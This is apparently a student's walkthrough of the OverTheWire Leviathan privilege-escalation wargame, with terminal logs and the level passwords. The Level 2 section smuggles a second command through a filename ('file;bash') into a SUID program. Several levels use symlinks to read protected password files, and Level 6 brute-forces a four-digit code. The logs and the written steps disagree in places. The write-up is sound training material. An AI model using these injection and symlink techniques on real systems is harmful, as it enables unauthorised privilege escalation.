

TASK-2 : OverThe Wire (Leviathan)

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Introduction

Leviathan is a Linux-based privilege escalation wargame provided by OverTheWire. It is designed to introduce beginners to practical security concepts such as misconfigured permissions, SUID binaries, password discovery, symbolic links, binary analysis, and brute-force attacks in a controlled environment.

This report documents the step-by-step approach used to complete all levels of the Leviathan wargame, from Level 0 to the final level.

Level 0

Objective:

To access the Leviathan wargame by logging into the server using the credentials provided by OverTheWire and become familiar with the challenge environment.

Steps Followed:

- * Obtained the SSH login credentials for Leviathan Level 0 from the OverTheWire website.
- * Opened a terminal and connected to the Leviathan server using the SSH command.
- * Logged into the server using the given username and password.
- * Successfully accessed the shell for Level 0.

Conclusion:

Level 0 is an introductory stage with no exploitation involved. It ensures that the participant can successfully connect to the remote server and understand the basic structure of the wargame before progressing further.

```
(divya@kali)-[~]
$ ssh leviathan0@leviathan.labs.overthewire.org -p 2223
The authenticity of host '[leviathan.labs.overthewire.org]:2223 ([51.21.210.216]:2223)' can't be established.
ED25519 key fingerprint is: SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[leviathan.labs.overthewire.org]:2223' (ED25519) to the list of known hosts.

      _ _ _ _ _
     / /   / /   / /   / /   / /   / /   / /   / /   / /
    / /   / /   / /   / /   / /   / /   / /   / /   / /
   / /   / /   / /   / /   / /   / /   / /   / /   / /
  / /   / /   / /   / /   / /   / /   / /   / /   / /
 / /   / /   / /   / /   / /   / /   / /   / /   / /
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/

      This is an OverTheWire game server.
      More information on http://www.overthewire.org/wargames

backend: gibbon-1
leviathan0@leviathan.labs.overthewire.org's password:
```

Level 0 – Level 1

Objective:

To locate hidden or leftover files in the Level 0 directory that contain the password for Level 1.

Steps Followed:

- * Logged into the Leviathan Level 0 account via SSH.
- * Listed directory contents using ls.
- * Displayed hidden files using ls -la.
- * Discovered a hidden directory named .backup.
- * Entered the .backup directory.
- * Found a file named bookmarks.html.
- * Searched the file for references to "leviathan".
- * Extracted the password for Level 1 from the file.

Conclusion:

This level highlights how insecure backup files and hidden directories can expose sensitive information. Improper file management can easily lead to credential leakage.

```

leviathan0@leviathan:~$ ls -la
total 24
drwxr-xr-x  3 root      root      4096 Oct 14 09:27 .
drwxr-xr-x 150 root      root      4096 Oct 14 09:29 ..
drwxr-xr-x  2 leviathan1 leviathan0 4096 Oct 14 09:27 .backup
-rw-r--r--  1 root      root       220 Mar 31 2024 .bash_logout
-rw-r--r--  1 root      root     3851 Oct 14 09:19 .bashrc
-rw-r--r--  1 root      root      807 Mar 31 2024 .profile
leviathan0@leviathan:~$ cd .backup/
leviathan0@leviathan:~/.backup$ ls
bookmarks.html
leviathan0@leviathan:~/.backup$ cat bookmarks.html
<!DOCTYPE NETSCAPE-Bookmark-file-1>
<!-- This is an automatically generated file.
      It will be read and overwritten.
      DO NOT EDIT! -->
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8">
<TITLE>Bookmarks</TITLE>
<H1 LAST_MODIFIED="1160271046">Bookmarks</H1>

<DL><p>
      <DT><H3 LAST_MODIFIED="1160249304" PERSONAL_TOOLBAR_FOLDER="true" ID="rdf:
      :#$FvPhC3">Bookmarks Toolbar Folder</H3>
      <DD>Add bookmarks to this folder to see them displayed on the Bookmarks Toolb
      ar
      <DL><p>
leviathan0@leviathan:~/.backup$ grep password bookmarks.html
<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This wil
l be fixed later, the password for leviathan1 is 3QJ3TgzHDq" ADD_DATE="115538
4634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>
leviathan0@leviathan:~/.backup$

```

Level 1 – Level 2

Objective:

To analyze the Level 1 binary and determine the password required to access the next level.

Steps Followed:

- * Logged into the Leviathan Level 1 account using the password from the previous level.
- * Listed files and identified an executable named check.
- * Executed the binary, which prompted for a password.
- * Used ltrace to monitor library calls made by the program.
- * Observed that the program used strcmp() to compare the input with the string "sex".
- * Entered the discovered password.
- * Verified elevated access and read the Level 2 password from /etc/leviathan_pass/leviathan2.

The level demonstrates weak password protection and insecure validation logic. Using ltrace allowed easy identification of the hardcoded password.

```
(divya@kali)-[~]
$ ssh leviathan1@leviathan.labs.overthewire.org -p 2223

      _ _ _ _ _
     / /   \ \ / /   \ \ / /   \ \ / /   \ \ / /
    / /   \ \ / /   \ \ / /   \ \ / /   \ \ / /
   / /   \ \ / /   \ \ / /   \ \ / /   \ \ / /
  / /   \ \ / /   \ \ / /   \ \ / /   \ \ / /

This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames

backend: gibson-1
leviathan1@leviathan.labs.overthewire.org's password:

      _ _ _ _ _
     / /   \ \ / /   \ \ / /   \ \ / /   \ \ / /
    / /   \ \ / /   \ \ / /   \ \ / /   \ \ / /
   / /   \ \ / /   \ \ / /   \ \ / /   \ \ / /
  / /   \ \ / /   \ \ / /   \ \ / /   \ \ / /

leviathan1@leviathan:~$ ls -la
total 36
drwxr-xr-x  2 root    root      4096 Oct 14 09:27 .
drwxr-xr-x 150 root    root      4096 Oct 14 09:29 ..
-rw-r--r--  1 root    root        220 Mar 31  2024 .bash_logout
-rw-r--r--  1 root    root      3851 Oct 14 09:19 .bashrc
-r-sr-x---  1 leviathan2 leviathan1 15084 Oct 14 09:27 check
-rw-r--r--  1 root    root        807 Mar 31  2024 .profile
leviathan1@leviathan:~$ ./check
password: null
Wrong password, Good Bye ...
leviathan1@leviathan:~$ ltrace ./check
__libc_start_main(0x80490ed, 1, 0xffffd474, 0 <unfinished ...>
printf("password: ")          = 10
getchar(0, 0, 0x786573, 0x646f67password: null
)                               = 110
getchar(0, 110, 0x786573, 0x646f67) = 117
getchar(0, 0x756e, 0x786573, 0x646f67) = 108
strcmp("nul", "sex")           = -1
puts("Wrong password, Good Bye ... "Wrong password, Good Bye ...
)                               = 29
+++ exited (status 0) +++
leviathan1@leviathan:~$ ./check
password: sex
$ ls
check
$ cat /etc/leviathan_pass/leviathan2
NsN1HwFoyN
$
```

Level 2 – Level 3

Objective:

To exploit the file handling behavior of the Level 2 binary in order to obtain the Level 3 password.

Steps Followed:

- * Logged into Leviathan Level 2.
- * Listed files and identified a binary named printfile.
- * Executed the binary, which requested a filename as input.
- * Used ltrace to observe file access behavior.
- * Created a symbolic link pointing to /etc/leviathan_pass/leviathan3.
- * Passed the symlink as input to the binary.
- * The program printed the contents of the password file.

Conclusion:

This level illustrates how symbolic links can be abused when programs do not properly validate file paths or permissions.



```
(divya@kali)-[~]
$ ssh leviathan2@leviathan.labs.overthewire.org -p 2223

This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames

backend: gibson-1
leviathan2@leviathan.labs.overthewire.org's password:

Welcome to OverTheWire!
```



```

leviathan2@leviathan:~$ ls -la
total 36
drwxr-xr-x  2 root    root      4096 Oct 14 09:27 .
drwxr-xr-x 150 root    root      4096 Oct 14 09:29 ..
-rw-r--r--  1 root    root       220 Mar 31 2024 .bash_logout
-rw-r--r--  1 root    root     3851 Oct 14 09:19 .bashrc
-r-sr-x---  1 leviathan3 leviathan2 15072 Oct 14 09:27 printfile
-rw-r--r--  1 root    root       807 Mar 31 2024 .profile
leviathan2@leviathan:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename
leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file ...
leviathan2@leviathan:~$ ./printfile /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
leviathan2@leviathan:~$ ltrace ./printfile /etc/passwd
__libc_start_main(0x80490ed, 2, 0xffffd464, 0 <unfinished ... >
access("/etc/passwd", 4)
snprintf("/bin/cat /etc/passwd", 511, "/bin/cat %s", "/etc/passwd")
geteuid()
geteuid()
setreuid(12002, 12002)
system("/bin/cat /etc/passwd"root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailng List Manager:/var/list:/usr/sbin/nologin
+++ exited (status 0) +++
leviathan2@leviathan:~$ ls
printfile
leviathan2@leviathan:~$ mkdir -p /tmp/tmp.pNhACW9Dek
leviathan2@leviathan:~$ cd /tmp/tmp.pNhACW9Dek
leviathan2@leviathan:/tmp/tmp.pNhACW9Dek$ touch 'file;bash'
leviathan2@leviathan:/tmp/tmp.pNhACW9Dek$ ls
file;bash
leviathan2@leviathan:/tmp/tmp.pNhACW9Dek$ cd
leviathan2@leviathan:~$ ls
printfile
leviathan2@leviathan:~$ ./printfile /tmp/tmp.pNhACW9Dek/file\;bash
/bin/cat: /tmp/tmp.pNhACW9Dek/file: Permission denied
leviathan3@leviathan:~$ cat /etc/leviathan_pass/leviathan3
f0n8h2iWLP
leviathan3@leviathan:~$

```

Level 3 – Level 4

Objective:

To determine the correct password by examining how the Level 3 binary performs string comparison.

Steps Followed:

- * Logged into Leviathan Level 3.
- * Listed files and found the executable level3.
- * Ran the binary, which prompted for a password.
- * Used ltrace to trace the password comparison logic.

- * Discovered that the input was compared with the string `snlprintf\n`.
- * Entered the correct password.
- * Retrieved the Level 4 password from `/etc/leviathan_pass/leviathan4`.

Conclusion:

By tracing function calls, the internal logic of the binary was revealed.

This level reinforces the importance of secure password handling in binaries.

```



```

Level 4 – Level 5

Objective:

To locate hidden files and decode program output in order to obtain the next level's password.

Steps Followed

- * Logged into Leviathan Level 4.
- * Listed all files and noticed a hidden directory named .trash.
- * Navigated into the .trash directory.
- * Identified an executable named bin.
- * Executed the binary and observed binary (0s and 1s) output.
- * Converted the binary output to readable text using a binary-to-text decoder.
- * Obtained the Level 5 password from the decoded output.

Conclusion:

This level demonstrates data obfuscation techniques and the importance of understanding different data representation.

```
(divya@kali)-[~]
$ ssh leviathan4@leviathan.labs.overthewire.org -p 2223

Leviathan

This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames

backend: gibson-1
leviathan4@leviathan.labs.overthewire.org's password:
Permission denied, please try again.
leviathan4@leviathan.labs.overthewire.org's password:

www.OverTheWire.org

leviathan4@leviathan:~$ ls -la
total 24
drwxr-xr-x  3 root root    4096 Oct 14 09:27 .
drwxr-xr-x 150 root root    4096 Oct 14 09:29 ..
-rw-r--r--  1 root root     220 Mar 31 2024 .bash_logout
-rw-r--r--  1 root root   3851 Oct 14 09:19 .bashrc
-rw-r--r--  1 root root     807 Mar 31 2024 .profile
dr-xr-x---  2 root leviathan4 4096 Oct 14 09:27 .trash
leviathan4@leviathan:~$ cd .trash
leviathan4@leviathan:~/.trash$ ls
bin
leviathan4@leviathan:~/.trash$ ./bin
00110000 01100100 01111001 01111000 01010100 00110111 01000110 00110100 01010001 01000100 00001010
leviathan4@leviathan:~/.trash$
```


From To

Binary Text

Open File Open Bin File

Paste binary code numbers or drop file:

```
00110000 01100100 01111001 01111000 01010100 00110111 01000110
00110100 01010001 01000100 00001010
```

Character encoding (optional)

ASCII/UTF-8

= Convert × Reset ↕ Swap

0dyxT7F4QD

Level 5 – Level 6

Objective:

To exploit improper file access by manipulating symbolic links.

Steps Followed:

- * Logged into Leviathan Level 5.
- * Listed files and executed the leviathan5 binary.
- * Observed an error related to file access.
- * Used ltrace to inspect file operations.
- * Identified that the program attempted to read a log file from /tmp.
- * Created a symbolic link pointing to /etc/leviathan_pass/leviathan6.
- * Executed the binary again.
- * Successfully obtained the Level 6 password.

Conclusion:

This level emphasizes how symbolic links can be exploited when programs trust user-controlled file locations.

```
(divya@kali)-[~]
$ ssh leviathan5@leviathan.labs.overthewire.org -p 2223

This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames

backend: gibbon-1
leviathan5@leviathan.labs.overthewire.org's password:

Welcome to OverTheWire!

leviathan5@leviathan:~$ ls -la
total 36
drwxr-xr-x  2 root    root      4096 Oct 14 09:27 .
drwxr-xr-x 150 root    root      4096 Oct 14 09:29 ..
-rw-r--r--  1 root    root       220 Mar 31 2024 .bash_logout
-rw-r--r--  1 root    root      3851 Oct 14 09:19 .bashrc
-r-sr-x---  1 leviathan6 leviathan5 15144 Oct 14 09:27 leviathan5
-rw-r--r--  1 root    root       807 Mar 31 2024 .profile
leviathan5@leviathan:~$ ./leviathan5
Cannot find /tmp/file.log
leviathan5@leviathan:~$ ltrace ./leviathan5
__libc_start_main(0x804910d, 1, 0xffffd464, 0 <unfinished ... >
fopen("/tmp/file.log", "r")
puts("Cannot find /tmp/file.log")
exit(-1 <no return ... >
+++ exited (status 255) +++
leviathan5@leviathan:~$ touch /tmp/file.log ; echo "hello" > /tmp/file.log
leviathan5@leviathan:~$ ltrace ./leviathan5
__libc_start_main(0x804910d, 1, 0xffffd464, 0 <unfinished ... >
fopen("/tmp/file.log", "r")
fgetc(0x804d1a0)
feof(0x804d1a0)
putchar(104, 0x804a008, 0, 0)
= 0
= 26
= 0x804d1a0
= 'h'
= 0
= 104
leviathan5@leviathan:~$ ls
leviathan5
leviathan5@leviathan:~$ cat /tmp/file.log
cat: /tmp/file.log: No such file or directory
leviathan5@leviathan:~$ touch /tmp/file.log ; echo "hello" > /tmp/file.log
leviathan5@leviathan:~$ ./leviathan5
hello
leviathan5@leviathan:~$ touch /tmp/file.log ; echo "hello" > /tmp/file.log
leviathan5@leviathan:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
ln: failed to create symbolic link '/tmp/file.log': File exists
leviathan5@leviathan:~$ ls
leviathan5
leviathan5@leviathan:~$ ./leviathan5
hello
leviathan5@leviathan:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
leviathan5@leviathan:~$ ./leviathan5
szo7HDB88w
leviathan5@leviathan:~$
```

Level 6 – Level 7

Objective:

To brute-force a 4-digit authentication code required by the Level 6 binary.

Steps Followed:

- * Logged into Leviathan Level 6.
- * Identified the executable leviathan6.
- * Ran the binary to understand the required input format.
- * Observed that it required a 4-digit numeric code.
- * Created a loop to test all combinations from 0000 to 9999.
- * Identified the correct code through automation.

* Used the code to retrieve the Level 7 password.

Conclusion:

This level demonstrates how weak authentication mechanisms can be defeated using simple brute-force techniques.

```
(divya@kali)-[~]
$ ssh leviathan6@leviathan.labs.overthewire.org -p 2223

This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames

backend: gibson-1
leviathan6@leviathan.labs.overthewire.org's password:

Welcome to OverTheWire!
```

```
leviathan6@leviathan:~$ ls -la
total 36
drwxr-xr-x  2 root    root      4096 Oct 14 09:27 .
drwxr-xr-x 150 root    root      4096 Oct 14 09:29 ..
-rw-r--r--  1 root    root       220 Mar 31 2024 .bash_logout
-rw-r--r--  1 root    root      3851 Oct 14 09:19 .bashrc
-r-sr-x---  1 leviathan7 leviathan6 15036 Oct 14 09:27 leviathan6
-rw-r--r--  1 root    root       807 Mar 31 2024 .profile

leviathan6@leviathan:~$ ./leviathan6
usage: ./leviathan6 <4 digit code>
leviathan6@leviathan:~$ ltrace ./leviathan6
__libc_start_main(0x80490dd, 1, 0xffffd464, 0 <unfinished ...>
printf("usage: %s <4 digit code>\n", "/leviathan6")
)
= 35
exit(-1 <no return ...>
+++ exited (status 255) +++
leviathan6@leviathan:~$ ls -la
total 36
drwxr-xr-x  2 root    root      4096 Oct 14 09:27 .
drwxr-xr-x 150 root    root      4096 Oct 14 09:29 ..
-rw-r--r--  1 root    root       220 Mar 31 2024 .bash_logout
-rw-r--r--  1 root    root      3851 Oct 14 09:19 .bashrc
-r-sr-x---  1 leviathan7 leviathan6 15036 Oct 14 09:27 leviathan6
-rw-r--r--  1 root    root       807 Mar 31 2024 .profile

leviathan6@leviathan:~$ ./leviathan6
usage: ./leviathan6 <4 digit code>
leviathan6@leviathan:~$ ltrace ./leviathan6
__libc_start_main(0x80490dd, 1, 0xffffd464, 0 <unfinished ...>
printf("usage: %s <4 digit code>\n", "/leviathan6")
)
= 35
exit(-1 <no return ...>
+++ exited (status 255) +++
leviathan6@leviathan:~$ for i in {0000..9999}; do echo $i;./leviathan6 $i;done;
```

```
7117
Wrong
7120
Wrong
7121
Wrong
7122
Wrong
7123
$ whoami
leviathan7
$ ls
leviathan6
$ cat /etc/leviathan_pass/leviathan7
qEs5Io5yM8
$
```

Level 7 (Final Level)

Objective:

To log into the final level and confirm successful completion of the Leviathan wargame.

Steps Followed:

- * Logged into Leviathan Level 7 using the password obtained previously.
- * Listed directory contents and found a confirmation file.
- * Read the file to verify successful completion of the challenge.

Conclusion:

The final level confirms that all prior challenges were successfully completed and marks the end of the Leviathan wargame.

```
(divya@kali)-[~]
$ ssh leviathan7@leviathan.labs.overthewire.org -p 2223

      W A R G A M E S

      This is an OverTheWire game server.
      More information on http://www.overthewire.org/wargames

backend: gibson-1
leviathan7@leviathan.labs.overthewire.org's password:

      W A R G A M E S

      www.      ver      he      ire.org

leviathan7@leviathan:~$ ls -la
total 24
drwxr-xr-x  2 root    root      4096 Oct 14 09:27 .
drwxr-xr-x 150 root    root      4096 Oct 14 09:29 ..
-rw-r--r--  1 root    root      220 Mar 31  2024 .bash_logout
-rw-r--r--  1 root    root     3851 Oct 14 09:19 .bashrc
-r--r----- 1 leviathan7 leviathan7 178 Oct 14 09:27 CONGRATULATIONS
-rw-r--r--  1 root    root      807 Mar 31  2024 .profile
leviathan7@leviathan:~$ cat CONGRATULATIONS
Well Done, you seem to have used a *nix system before, now try something more serious.
(Please don't post writeups, solutions or spoilers about the games on the web. Thank you!)
leviathan7@leviathan:~$
```

Overall Conclusion

The Leviathan wargame provides practical exposure to Linux privilege escalation and binary exploitation techniques. Each level builds upon the previous one,

gradually introducing essential security concepts such as:

- * Hidden files and insecure backups
- * File permissions and SUID binaries
- * Binary analysis using ltrace
- * Symbolic link exploitation
- * Weak password mechanisms
- * Brute-force attacks

Completing Leviathan strengthens problem-solving skills and builds a solid foundation for further learning in cybersecurity. The challenges encourage careful observation, logical thinking, and effective use of security tools in a controlled environment.